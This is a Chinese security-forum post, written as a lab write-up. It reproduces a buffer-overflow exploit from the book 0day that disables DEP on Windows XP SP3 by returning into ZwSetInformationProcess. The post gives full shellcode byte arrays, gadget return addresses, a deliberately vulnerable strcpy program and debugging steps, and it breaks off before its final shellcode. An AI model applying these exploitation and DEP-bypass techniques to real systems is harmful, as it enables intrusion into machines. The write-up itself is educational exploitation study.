首页
社区
课程
招聘
[原创]利用Ret2Libc挑战DEP——利用ZwSetInformationProcess
发表于: 2017-8-9 17:51 10199

[原创]利用Ret2Libc挑战DEP——利用ZwSetInformationProcess

2017-8-9 17:51
10199

新人一个,最近也在学习《0day》,由于和工作没太大关系,一个人学习漏洞太痛苦,所以希望在这里能够和大家展开交流,找到志同道合的人,希望大神们多多指教。这是我发在csdn上的,直接转过来了,不知道格式会不会有问题。实验思路是按照作者的思路做的,借此机会也是想把自己的实验中遇到的问题和想法记录下来,以作总结。大家看到有哪里写的不对的地方,如果能告诉我,那我真是太感谢了。当然有不懂的,我也会做解答。《0day》的实验,基本上我都做过一遍,有问题的小伙伴可以一起讨论啊。


DEP基本原理就是数据所在内存页标识为不可执行,这样就导致一个问题,就是我们之前所有的实验都建立在一个基础上:shellcode的执行是位于堆或者栈上的,我们通过覆盖上面的正常数据,将可执行的恶意数据放在上面进行程序流程劫持。后来,微软的程序员就发现了这个致命的漏洞,就创建了这个机制:从XP SP2开始,CPU一旦检测到在非可执行区域执行指令,将禁止继续执行并抛出异常。

突破思路:

既然DEP不允许直接执行,我们可以在其他可执行位置为shellcode的每一条指令找到一条替代指令,就可以完成exploit了。(每一条指令都有一个ret,以便回收程序控制权)

《0day》里面讲了3种思路突破dep

通过跳转到ZwSetInformationProcess函数将DEP关闭,再转入shellcode

通过跳转到VirtualProtect函数来将shellcode所在内存页设置为可执行状态,再转入shellcode

通过跳转到VirtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。

这次,我们来实践第一个思路。利用ZwSetInformationProcess函数关闭DEP!

XP SP3(关闭dep)


VS 2008 关闭GS、SafeSEH(我没有用作者说的VC,因为这样配置好也是一样的)

使用release版本、关闭优化



本次实验代码

[cpp] view plain copy

char shellcode[]=  

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址

"\x85\x8B\x1D\x5D"//修正EBP

"\x19\x4A\x97\x7C"//增大ESP

"\xB4\xC1\xC5\x7D"//jmp esp

"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置

"\xE9\x33\xFF\xFF"

"\xFF\x90\x90\x90"

;  

void test()  

{  

    char tt[176];  

    strcpy(tt,shellcode);  

}  

int main()  

{  

    HINSTANCE hInst = LoadLibrary(L"shell32.dll");  

    char temp[200];  

    __asm int 3  

    test();  

    return 0;  

}  

我们先来缕清思路,首先我们需要一个ZwSetInformationProcess函数的地址,然而函数参数的构造会出现0x00这样字符,那么我们能不能找到系统中已经调用的这个函数,我们可以直接利用呢。

答案是有的,微软有一个LdrpCheckNXCompatibility函数,当出现DLL收到SafeDisc保护的时候(函数中体现为al=1的时候),就会调用ZwSetInformationProcess函数进行关闭dep,所以我们可以在调用这个函数前把al的值改掉,就能够关闭dep了。关闭dep后,函数有一个retn 4的返回,我们通过构造shellcode,使其刚好返回到shellcode执行地址上。

所以接下来,我们需要找地址了,OD有一个插件ollyfindaddr——find disable dep,能找到今天用到的一系列的指令。首先我们调用的这个LdrpCheckNXCompatibility函数的地址:在step1里面,有一个0x7c93cd24的地址,就是函数ZwSetInformationProcess的地址,在step2里面,就是修改mov eax,1 ret的指令地址,我们选择7C92E252。


当前shellcode布局:

[cpp] view plain copy

<span style="font-size:12px;">char shellcode[]=  

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址

"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置

;</span>  


调试看看:


我们成功的走到了我们修改eax指令的地方,执行了mov eax 1 ,ret    这里ret的时候,esp已经指向下一个ZwSetInformationProcess函数的地址了。



这里说明一下,ret的时候,esp自动会跳到下一个esp+4的地方。继续执行,如图,我们执行到了ZwSetInformationProcess函数的比较cmp ax 1的地方了。esp也跳到了下一行0x12feb0的位置。




继续往下,我们看会发生什么


好像出现了异常,原来ZwSetInformationProcess函数中存在一个对[ebp-4]赋值的语句,但是ebp在刚才的时候已经被我们填充的9090给修改了,所以这里我们需要对ebp进行恢复,使函数能继续进行。

这里可以采用push pop ret的指令进行恢复,查看刚才的findaddr的step 3,这里有ebp恢复的指令地址,看刚才那个寄存器状态发现,只有esp可写,所以我们选择push esp,pop ebp,ret 4指令地址0x5D1D8B85

ret 4指的是,ret到当前esp的地址执行后,esp+4

shellcode:

[cpp] view plain copy


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2020-2-4 22:23 被kanxue编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 3738
活跃值: (3872)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
感谢分享!
2017-8-10 10:39
0
雪    币: 229
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
请问下,jmp 003fff38 为什么不是 jmp ffffff38
2020-3-2 10:45
0
游客
登录 | 注册 方可回帖
返回
//